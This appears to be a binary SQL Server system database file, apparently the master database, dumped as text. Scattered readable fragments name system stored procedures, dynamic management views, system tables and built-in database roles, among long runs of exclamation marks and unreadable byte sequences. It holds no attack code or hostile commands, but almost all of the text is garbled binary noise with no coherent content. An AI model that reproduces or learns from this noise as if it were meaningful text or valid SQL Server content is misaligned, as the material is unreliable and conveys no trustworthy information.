Z2Lc^K8`?"mM-9qNtնN3PuY?3Fh|ij9bkYl#stmnPnobbO̹ӺiLcoýFھ>_ZoX0+8pTSee<ۍbCH_I{H>JmgKzL%M5N܉	Ofu0Ȱ	u	ܞϲ	eD۳	pJ	t%Ե	N^Ķ	;·	18HU,' t3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vDs9&kp
R.#h]1
GZ{O~e<`	0	2"
N/;,00նV XAXAdservice_message_types$00IF$dm_cryptographic_provider_algorithms00V Q_vdm_db_missing_index_group_stats00rP #[2dsp_dbmmonitorhelpalert00SX QDIIxsp_rollback_parallel_nested_tran00/V rdm_pdw_nodes_os_cluster_nodes00JcYV tdm_pdw_component_health_alerts00_nP dvNsp_catalogs00%P fsp_MSget_qualified_name00SP YXsp_MSinstance_qv00CP E{\sp_MSreplraiserror00
P rsp_MSscript_trigger_variables002P zsp_MScleandbobjectsforreplication00FN!!Tfn_MSguidtostr00_^P EZsp_repldropcolumn00@P  ^nsp_MSmerge_create_sub_table00uP (bsp_helpsubscriberinfo00$MP /^sp_adddistpublisher00yP x[fsp_MSflush_access_cache00ЅP *jnsp_MShelp_replication_table00BP 

sp_MSrepl_MSSQL_SAS_datatypemappings00P hsp_IHCheckPublisherLogin00`4P sp_MSscriptpublicationconflicttables00P M"\sp_helppublication00F FNR*R*jfn_MSrepltranparsecmdtype00WP \`sp_scriptdelproccore00P Kanpsp_register_custom_scripting00P UWbsp_IHadd_sync_command00P ҟҟxsp_ORAmarksubscriptionvalidation00T.P Cdsp_MScheck_pull_access00V Xdm_repl_traninfo00ZFNjjnfn_MSvalidatelogshipagentid00P (|(|^sp_MSverboselogging00zP zsp_cdc_add_capture_instance_entry00BP ``tsp_cdc_verify_capture_instance00P ФФnsp_cdc_cleanup_job_internal00P ȪVsp_cdc_drop_job00##FNbfn_cdc_is_range_valid00x"P yZsp_MSaddguidindex00y_P \sp_MStablenickname00P Adsp_MSchangeobjectowner00]P 

bsp_cleanmergelogfiles00Y P ^sp_MSmakejoinfilter00{P tsp_MScheck_subscription_expiry00 )P )*Vsp_MSgetpubinfo00P {vvbsp_MSenumschemachange00P jsp_MShelpalterbeforetable00nVWFN%%fn_MSget_dynamic_filter_login_with_hostname00o X dxp_prop_oledb_provider00P NXsp_MShasdbaccess00nP jsp_MStran_alterschemaonly00P M"\sp_helppublication00F FNR*R*jfn_MSrepltranparsecmdtype00WP \\`sp_scriptdelproccore00P Kanpsp_register_custom_scripting00P Ubsp_IHadd_sync_command00:P ,,bsp_IHCheckSourceTable00P ҟҟxsp_ORAmarksubscriptionvalidation00T.P Cndsp_MScheck_pull_access00V Xdm_repl_traninfo00P hsp_MSchange_originatorid00X ..Pxp_peekqueue00P Yfsp_MSenum_subscriptions00WP /Xjsp_MSadd_subscription_3rd001P '{Ypsp_dropanonymoussubscription00ZFNjjnfn_MSvalidatelogshipagentid00	;[P qqsp_delete_log_shipping_alert_job_internal00P rIy~sp_check_log_shipping_monitor_alert00P (|(|^sp_MSverboselogging00\FN\fn_cdc_hexstrtobin00VFNtfn_cdc_capture_instance_exists00zP zsp_cdc_add_capture_instance_entry00BP ``tsp_cdc_verify_capture_instance00P ФФnsp_cdc_cleanup_job_internal00P ȪȪVsp_cdc_drop_job00:|P dsp_cdc_get_ddl_historyanPALRh
,	
P">>z0	ZV
|$
dh	BD

NND~p
	~X0<V	`~/Y)O*%c6&&service_id6Jname6Jnumber6Jtype6Jlow6ݾe"@tabname6ݾe @action6ݾe@ftcat6ݾe"@keyname6|@dbid6|@objid6| keyword6|*display_term6|$column_id6|(document_id6|2occurrence_count6qH(database_id6qH file_id6qH page_id6qH&page_level6qH6allocation_unit_id6qH$page_type6qH$row_count6qH8free_space_in_bytes6qH	(is_modified6qH
$numa_node6qH,read_microsec6"V.transaction_id6"VBtransaction_sequence_num6"V8commit_sequence_num6"V&session_id6"V(is_snapshot6"VHfirst_snapshot_sequence_num6"VHmax_version_chain_traversed6"VPaverage_version_chain_traversed6"V	:elapsed_time_seconds6G(@DatabaseId6R Cell_Id6R0Cell_Attributes6RSRID6R"@gGeoObj6R@minx6R@miny6R@maxx6R@maxy6R(@usDensity06R(@usDensity16R(@usDensity26R	(@usDensity36R
@card6R4@tessellationMode6R0@distanceBuffer6"@tabname6&@indexname6&@outputxml6(@xml_output6.@verboseoutput6 @window60distribution_id6(pdw_node_id6name6"position6֬run_id6֬(pdw_node_id6֬status6֬&start_time6֬"end_time6֬6total_elapsed_time6֬"progress6>2SEQUENCE_CATALOG6>0SEQUENCE_SCHEMA6>,SEQUENCE_NAME6>$DATA_TYPE6>4NUMERIC_PRECISION6>@NUMERIC_PRECISION_RADIX6>,NUMERIC_SCALE6>(START_VALUE6>	,MINIMUM_VALUE6>
,MAXIMUM_VALUE6>$INCREMENT6>*CYCLE_OPTION6>
6DECLARED_DATA_TYPE6>FDECLARED_NUMERIC_PRECISION6>>DECLARED_NUMERIC_SCALE6 @strCmd6y@@snapshot_session_token6yB@snapshot_progress_tokene86S{@id6S{@name6S{"@step_id6S{$@step_uid6S{.@err_not_found6S{&@job_found6`L&@publisher6`L,@publisher_db6`L*@publication6`L$@trigname6`L@objid6`L$@procname6`L.@filter_clause6`L"@op_type6`L	&@fisqueued6`L
 @falter6`L$@agent_id62@number_of_units6,@unit_of_time6,ca*@distributor6,ca&@distribdb6,ca&@directory6,ca"@account6,ca6@min_distretention6,ca6@max_distretention6,ca6@history_retention6,ca<@history_cleanupagent6,ca	<@distrib_cleanupagent6,ca
&@publisher6,ca@local6,ca(@rpcsrvname6,ca
0@publisher_type6d(@subscriber6d@type6aK0@publisher_type6aK&@publisher6aK.@security_mode6aK@login6aK$@password6aK2@connect_timeout*M?6*M?&@object_id6*M?&@column_id6a)*@publication6a)"@article6a),@returnfilter6a)&@publisher6a)0@publisher_type6a)@found6a)@rmo6M*@publication6M"@article6M.@rowcount_only6M,@full_or_fast6M0@shutdown_agent6M8@subscription_level6M$@reserved6C|i"@pubname6C|i@artid6C|i8@qual_source_object6C|i @column6C|i&@operation6C|i$@typetext6C|i<@schema_change_script6U&@publisher66&@publisher66,@publisher_db66(@article_id66(@subscriber66.@subscriber_db6j@mode6j$@agent_id6j(@agent_type6j(@session_id6j2@sequence_number6j0@monitor_server6jL@monitor_server_security_mode6j$@database6j	$@log_time6j
,@log_time_utc6j"@message6j @source6j
$@help_url6.@head_of_queue6yֶ@value6yֶ8@ignore_distributor6%/@pubid6%/B@dynamic_filter_hostname6%/<@dynamic_filter_login6 z|@repid6&@publisher6,@publisher_db64@publication_name6@pubid6B@allow_subscription_copy6&@retention64@conflict_logging6 @status6	>@allow_synctoalternate`L@4H		&8lF
B
`
	


Br
:hd H,T			h	
2d RB:^|P2V~.8d`^0n& XJt~Xh:H"v\8tR2b&z
V
 
|b:,J0Dn`00"2nPŪi003S Vsystypedsubobjs006S Nsysidxstats007S >)Jsysiscols008S ))Jsysendpts009S ))Rsyswebmethods00:S 	Lsysbinobjs00;S ((Lsysaudacts00<S Psysobjvalues00>S w)y)Xsyscscolsegments00?S 
x)z)Zsyscsdictionaries00@S Lsysclsobjs00AS u(Rsysrowsetrefs00CS Tsysremsvcbinds00DS 0)Psysxmitqueue00ES Dsysrts00GS Psysconvgroup00HS Jsysdesend00IS o)Hsysdercv00JS JJXsyssingleobjrefs00KS OOVsysmultiobjrefs00NS -4Nsysguidrefs00OS ))Nsysfoqueues00PS }))Rsyschildinsts00RS ((Xsyscompfragments00TS ))Xsysftsemanticsdb00US ((Lsysftstops00VS &)*)Vsysftproperties00WS 1)3)Nsysxmitbody00YS ))Dsysfos00ZS 26Jsysqnames00[S 29Vsysxmlcomponent00\S 7:Nsysxmlfacet00]S 7Vsysxmlplacement00^S Vsysobjkeycrypts00_S 	Nsysasymkeys00`S 
(Psyssqlguides00aS 0Rsysbinsubobjs00bS 	((Tsyssoftobjrefs00uSQ==pQueryNotificationErrorsQueue00Xv	ITu=)jqueue_messages_197705807900˿wSQBBpEventNotificationErrorsQueue00x	IT˿wB)jqueue_messages_200905819300ySQBB\ServiceBrokerQueue00<8z	ITyB)jqueue_messages_204105830700u\{IT
(G)vfilestream_tombstone_207305842100|	IT((Psyscommittab00x}ITh)h)pfiletable_updates_2105058535000D 
O
OtDF__spt_value__statu__0EA330E9:Z

$
JT
Z

	l	(	86DZ
v"*6N`
ZQ+A9^H

8!!!!`!
KR##A!TNN!TZR!TPR!TPR!TPR!TPR!	TPR!
TPR!TPR!TPR!
TPR!TPR!TPR!TPR!TPR!TPR!TPR!TPR!TPR! TPR!!TPR!dTSR!eTSR!fTSR!gTSR!hTSR!iTSR!jTSR!kTSR!l TSR!m!TSR!n"TSR!o#TSR!p$TSR!q%TSR!r&TSR!s'TSR!t(TSR!u)TSR!v*TSR!w+TSR!x,TSR!y-TSR!.TLR!/TLR!0TLR!3TSR!,4TSR!-5TSR!.6TLN!/7TSR!08TSR!19TSR!2:TSR!3;TSR!4<TSR!5=TSR!6>TSR!7?TSR!8@TSR!9ATSR!:	TSR!;BTSR!<CTSR!=%TSR!>DTSR!?ETSR!@FTSR!ATSR!BGTSR!DHTSR!EITSR!FJTSR!GKTSR!HLTSR!IMTKR!hNTSR!OAAN!PAAN!QAAN!iRAAN!jSAAN!kTAAN!lUAAN!mVAAN!nWAAN!oXAAN!pYAAN!qZAAN!r[AAN!s\AAN!|M|MNS!}N}WNP!J
TSR!KTSR!L]T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68
6
60	
68

678
678
678		
678


6V8
6V
6V8
6
68
68
688
6*
6*8
6+
6+8
68
68
68		
68

6Y8
6Y
6Y
6Y8
6`8
6"8
6"0
6"8
6. 
6.8
60
6$
6$
6%"
60-
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
60
60
6
6$
6$
6
60		d*l2


J

b(z@

X

		p	6	PNf,~D
Z \"t:r8R|Bh.T^$v<j0FH`m6E8V+31JH68
68
68	
68
6$
6$$
6
64
6		<	
68
6$
6$
68%%
68))
68--
6
6	
6
6
6=$
68,
6	
6	8	
6	

6
0
6
$
6
0
6
$
6
&#
6
.
6
$6
6
8F
6
		8J	
6


8N

6
R
6
8T
6


8X

6
\
6
@
60
60
6
6$
6$
68++
60
6$
60
6$
6&#
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
6
0
6
0
6

6
$
6
$
6
8++
60
6$
60
6$
6&#
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
60
60
6
6$
6$
68++
6
=d
6=d
6=d
6

D

6
68	
68

68
6$
6
6
6x
6-
6-
6-x
6
68
6x
6F
68
6
68
64
6x4
6x4
64
6x4
6x4
6	
6	8

6	F
6	8
6	8
6	8
68
6
6F
6@
6
6@
6U
6
6=
68
6h
6			
6



6
H`&x>Vn4Ld*|BZ r8h.F^$v<Tl2
P

J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`#@|Wb,AP0#FG8PRIMARY0#2@++:db_owner0#2@++Fdb_accessadmin0#2@++Jdb_securityadmin0#2@++@db_ddladmin0#2@++Ldb_backupoperator0#2@++Ddb_datareader0#2@++Ddb_datawriter0#2@++Ldb_denydatareader0#2	@++Ldb_denydatawriter0#2++4guest0#2++0dbo0#2++0sys0#2++NINFORMATION_SCHEMA0#y(y(8PRIMARY0#
(#)\Microsoft.SqlServer.Types0#{/{/8PRIMARY0#!Hsystem_stoplist0#
rMicrosoft.SqlServer.DmfSqlClrWrapper0#
rMicrosoft.SqlServer.M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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!v2brB`*v(
Z@X(LG^W8!!!!`0"6Y@00uV KKXcomputed_columns00vV 2GEGZsystem_parameters00wV _DrDLparameters00xV FFTsystem_columns00yV CCKCFcolumns00zV \HkHPsystem_views00{V GGTsystem_objects00}V EEBviews00~V ?JYJDtables00V ==Fobjects00V 3TPTfulltext_semantic_language_statistics_database00V qqtavailability_replicas_internal00V uujchange_tracking_databases00V }#}pserver_principal_credentials00|V m^extended_procedures00V vRserver_audits00V 
\server_file_audits00V `mnserver_audit_specifications00V ێ|server_audit_specification_details00V ‘ޑresource_governor_resource_pool_affinity00V ,ndatabase_filestream_optionsJsysclones00S k(Rsysallocunits00S tUtUJsysfiles100	S ))Tsysseobjvalues00S ((Rsyspriorities00S ))Jsysdbfrag00S v(x(Jsysfgfrag00S ))Lsysdbfiles00S ))Dsyspru00S !))Rsysbrickfiles00S w(y(Fsysphfg00S x(z(Nsysprufiles00S u(Jsysftinds00S 
S)Jsysowners00S ~))Hsysdbreg00S OOHsysprivs00"S s)Lsysschobjs00)S t(Lsyscolpars00*S 
))Hsysxlgns00+S 
))Hsysxsrvs00,S Jsysnsobjs00-S ))Nsysusermsgs00.S 
)Hsyscerts00/S ))Lsysrmtlgns000S ))Lsyslnklgns001S Jsysxprops002S 
EETsysscalartypes00V ![9[lserver_event_notifications00V T\a\Rserver_events00V \\bserver_trigger_events00V ;]H]\server_sql_modules00V ^^fserver_assembly_modules00V g"gHmessages00V ukkJendpoints00V %lAlThttp_endpoints00V llRtcp_endpoints00V #mGmRvia_endpoints00V mmTsoap_endpoints00V dnnhservice_broker_endpoints00V o0opdatabase_mirroring_endpoints00V oo^endpoint_webmethods00 V GpYpTconfigurations00V qqtavailability_replicas_internal00>V stPsyslanguages00=V YttNsyscharsets00+V u6uJdatabases00V uujchange_tracking_databases00V uv\database_mirroring00V kv{vhdatabase_recovery_status00* V "y+ypdatabase_mirroring_witnesses00)V {yyTbackup_devices00(V *z4zPmaster_files00V ||Ncredentials00V }#}pserver_principal_credentials00
V }}`master_key_passwords00'V 
~+~Zserver_principals00&V v~~^server_role_members00%V ~~\server_permissions00$V wFservers00#V Rremote_logins00"V DZRlinked_logins00!V 9Lsql_logins00|V m^extended_procedures00V fcryptographic_providers00V vRserver_audits00V 
\server_file_audits00V `mnserver_audit_specifications00V ێ|server_audit_specification_details00V vresource_governor_configuration00V ‘ޑresource_governor_resource_pool_affinity|"tt0(tpVh@"JH^`,"
Z.K2C
&]<service_message_types$&2check_constraints&F.internal_tables&Y$sysftstops&]8sp_helpsrvrolemember&@6endpoint_webmethods&`8dm_xe_session_events&aXdm_cryptographic_provider_algorithms&b8dm_logpool_consumers&c2sp_helpconstraint&d*sp_executesql&e<sp_trace_generateevent&f6dm_qn_subscriptions&g8dm_pdw_request_steps&0*dm_os_workers&1Lsp_commit_parallel_nested_tran&2Psp_rollback_parallel_nested_tran&3@sp_MSGetCurrentPrincipal&4:fn_replbitstringtoint&5`sp_MSscriptpublicationcustomprocs_sqlclr&6<spt_datatype_info_view&7Rsp_MScleandbobjectsforreplication&Dsp_MSrepl_check_job_access&Lsp_MSrepl_validate_dts_package&:sp_ORAverifypublisher&Jsp_MSmergefixup_defaults_name&>sp_IHisarticlecolbitset&Hsp_browsemergesnapshotfolder&:sp_MSDropTriggerProcs&8sp_MSadd_merge_agent& 
*fn_IHgetpubid&!
&sp_cdc_scan&"
Nsp_MSissnapshotjobnamegenerated&#
,sp_MSBitmapXOr&$
Vsp_MSrecordsnapshotdeliveryprogress&%
<sp_replcleanupccsprocs&&
Bsp_MSdist_adjust_identity&'
Dsp_MSfixupagentoffloadinfo&6sp_MSunmarkreplinfo&Jsp_MShelp_subscription_status&Fsp_generate_agent_parameter&:xml_schema_attributes&Bsp_deletemergeconflictrow!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J
&	l`	.@	0D@j,b

lnd0h*`[Tp0RwAUd	03Opublic	tgIKC'b0@R|AU|AU	07Gdb_owner	@0@R|AU|AU	0CSdb_accessadmin	@0@RAUAU	0GWdb_securityadmin	@0@RAUAU	0=Mdb_ddladmin	@0@RAUAU	0IYdb_backupoperator	@0@RAUAU	0AQdb_datareader	@0@RAUAU	0AQdb_datawriter	@0@RAUAU	0IYdb_denydatareader	@0	@RAUAU	0IYdb_denydatawriter		@0SwAUwAU	566@guestguest0SnAU{/
1228dbodbo0S++	8+sys0S++	8IINFORMATION_SCHEMA0@R|AUd	07Sdb_owner	@0@R|AUd	0C_db_accessadmin	@0@RAUd	0Gcdb_securityadmin	@0@RAUd	0=Ydb_ddladmin	@0@RAUd	0Iedb_backupoperator	@0@RAUd	0A]db_datareader	@0@RAUd	0A]db_datawriter	@0@RAUd	0Iedb_denydatareader	@0	@RAUd	0Iedb_denydatawriter		@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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extendedproc&BLsp_AddFunctionalUnitToComponent&VJ:sp_addextendedproperty&B.sp_addrolemember&a`"sp_adduser&="sp_addrole&_(sp_addapprole&2sp_approlepassword&>"sp_addtype&K&sp_attach_db&?>sp_attach_single_file_db&Jsp_add_file_recover_suspect_db&ERsp_add_log_file_recover_suspect_db&%Tsp_add_data_file_recover_suspect_db&$,sp_addumpdevice&)t(sp_bindefault&J|$sp_bindrule&=P&sp_autostats&*sp_bindsession&ȳcHsp_begin_parallel_nested_tran&eyZsp_availability_group_command_internal&}Xs*sp_audit_write&4sp_addsrvrolemember&tľ$sp_addlogin&'(K2sp_addlinkedserver&r&sp_addserver&0sp_addremotelogin&w6sp_addlinkedsrvlogin&QVV(sp_addmessage&,sp_altermessage&/2sp_bcp_dbcmptlevel&k6sp_assemblies_rowset&8sp_assemblies_rowset2&rS>sp_assemblies_rowset_rmt&Lsp_assembly_dependencies_rowset&,Nsp_assembly_dependencies_rowset2&HTsp_assembly_dependencies_rowset_rmt&]:sp_addpullsubscription&Fsp_addpullsubscription_agent&Dsp_addmergepullsubscription&$Psp_addmergepullsubscription_agent&I6sp_addqueued_artinfo&V2sp_addsynctriggers&:sp_addsynctriggerscore&
`8sp_attachsubscription&TLsp_adjustpublisheridentityrange&.sp_addscriptexec&c6sp_add_agent_profile&i<sp_add_datatype_mapping&F:sp_add_agent_parameter&CBsp_addpublication_snapshot&{5
.sp_addsubscriber&@sp_addsubscriber_schedule&7r0sp_adddistributor&~a6sp_adddistributiondb&$M4sp_adddistpublisher&W.*sp_adddatatype&us8sp_adddatatypemapping&!0sp_addpublication&.sp_articlecolumn&91.sp_articlefilter&=*sp_articleview&t(sp_addarticle&Z2sp_addsubscription&Q<sp_articlesynctranprocs& 8sp_article_validation&o8sp_addlogreader_agent&;Fsp_addpushsubscription_agent&NJ4sp_addqreader_agent&iVsp_add_log_shipping_primary_database&
YXsp_add_log_shipping_primary_secondary&Xsp_add_log_shipping_secondary_primary&5Zsp_add_log_shipping_secondary_database&Hsp_add_log_shipping_alert_job&ܻZsp_add_log_shipping_alert_job_internal&D2sp_addmergearticle&_:sp_addmergepublication&t:sp_addmergelogsettings&W%<sp_addmergesubscription&E0sp_addmergefilter&18sp_addtabletocontents&Hsp_addmergealternatepublisher&".@sp_adddynamicsnapshot_job&Ɣ6sp_addmergepartition&Psp_addmergepushsubscription_agentore&
f<sp_cleanupdbreplication&>sp_checkinvalidivarticle&Fsp_browsemergesnapshotfolder&
<sp_browsesnapshotfolder&
`8sp_attachsubscription&TLsp_adjustpublisheridentityrange&.sp_addscriptexec&vTsp_changereplicationserverpasswords&c6sp_add_agent_profile&i<sp_add_datatype_mapping&F:sp_add_agent_parameter&CBsp_addpublication_snapshot&v	Hsp_changepublication_snapshot&{5
.sp_addsubscriber&@sp_addsubscriber_schedule&Y4sp_changesubscriber&r$SFsp_changesubscriber_schedule&7r0sp_adddistributor&Hsp_changedistributor_property&8<sp_changedistributiondb&~a6sp_adddistributiondb&$M4sp_adddistpublisher&k:sp_changedistpublisher&@sp_change_agent_parameter&2<sp_change_agent_profile&@Hsp_changedistributor_password&W6Dsp_check_publication_access&W.*sp_adddatatype&us8sp_adddatatypemapping&!0sp_addpublication&OM6sp_changepublication&8sp_changesubscription&.sp_articlecolumn&%Jsp_changearticlecolumndatatype&91.sp_articlefilter&=*sp_articleview&t(sp_addarticle&Fsp_checkOraclepackageversion&^^2sp_changesubstatus&Z2sp_addsubscription&8%@.sp_changearticle&Q<sp_articlesynctranprocs&Z0sp_browsereplcmds& 8sp_article_validation&Fsp_changesubscriptiondtsinfo&o8sp_addlogreader_agent&;Fsp_addpushsubscription_agent&NJ4sp_$Zl
.8rD2.H\0
p
|z`j:
`	&	:
&		Phj$Hb
P


"r|l8`)"*^h.d8&4ServiceBrokerQueue&&data_spaces&M8master_key_passwords&Z$sysftstops&^&sp_helpuser&A6dm_qn_subscriptions&Vdm_hadr_internal_transport_partners&Zsp_decimal_estimate_savings_for_table&\dm_pdw_nodes_tran_session_transactions&*dm_os_workers&Jspatial_reference_systems_tvf&*sp_procoption&6fn_PhysLocFormatter&Fsp_table_constraints_rowset&^sp_MSispulldistributionjobnamegenerated&4sp_MSreplraiserror&@sp_helpreplicationoption&Dsp_MScreate_mergesystables&@sp_checkinvalidivarticle&sp_fulltext_semantic_register_language_statistics_db_internal&Hsp_MSrepl_getdistributorinfo&>sp_MSsub_check_identity&8Bsp_MSfixup_single_artddls&9Rsp_MSremovedbreplication_internal&:bsp_scriptdropinsreconciliationproc_sqlclr&;hsp_MSactivateprocedureexecutionarticleobject&<:fn_replinttobitstring&=Xfn_escapecmdshellsymbolsremovequotes&>>sp_MSdrop_snapshot_dirs&?Dsp_MScache_agent_parameter&	@sp_MSgetpeerconflictname&	Dsp_cdc_cleanup_job_entries&	rsp_MSpeerconflictdetection_topology_applyresponse&	>sp_helpmergelogsettings&	Vsp_MSscript_trigger_fetch_statement&	Psp_MSupdatesharedagentproperties&	>sp_MScheck_subscription&	:sp_MSenum_snapshot_sd&2sp_MSget_open_gen&*via_endpoints!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_XQ`XQaRb/QcRddQeeQfRggQhhQi/QjRkkQllQmRnnQooQpRqqQrrQsRttQuuQvvQwRxxQyyQzxQ{xQ|vQ}R~~QQ~QRvQRQQQQQvQRQQQRvQRQRRRRRRRRRRRRRRRR^pL8&*vdRVp:
b
:(|jXF4"r`N<@.
zhD2 ~lZH6$^L(





t
P
>
,


xfTBn8J\ tbP>,xfTB0JdR@r`&$Xn
0J

	4
N		\
	v
|		&
`	
	r		<	j8
F"

*			



hD2zV.
~lZH6
ZJd(_.8^c8!!!!`ye>nCO  GpSL  GqSL  GrSL  GsSL  GtSL  GuSL  GvSL  GwSL  GxSL  GySL  GzSL  G{SL  G|SL  G}SL  G~SL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  G~SL  G}SL  G|SL  G{SL  GzSL  GySL  GxSL  GwSL  GvSL  GuSL  GtSL  GsSL  GrSL  GqSL  GpSL  GoSL  GnSL  GmSL  GlSL  GkSL  GjSL  GiSL  GhSL  GgSL  GfSL  GeSL  GdSL  GcSL  GbSL  GaSL  G`SL  G_SL  G^SL  G]SL  G\SL  G[SL  GZSL  GYSL  GXSL  GWSL  GVSL  GUSL  GTSL  GSSL  GRSL  GQSL  GPSL  GOSL  GNSL  GMSL  GLSL  GKSL  GJSL  GISL  GHSL  GGSL  GFSL  GESL  GDSL  GCSL  GBSL  GASL  G@SL  G?SL  G>SL  G=SL  G<SL  G;SL  G:SL  G9SL  G8SL  G7SL  G6SL  G5SL  G4SL  G3SL  G2SL  G1SL  G0SL  G/SL  G.SL  G-SL  G,SL  G+SL  G$SL  G#SL  G"SL  G!SL  G SL  GSL  GSL  GSL  GSL  GSL  GSL  GCO  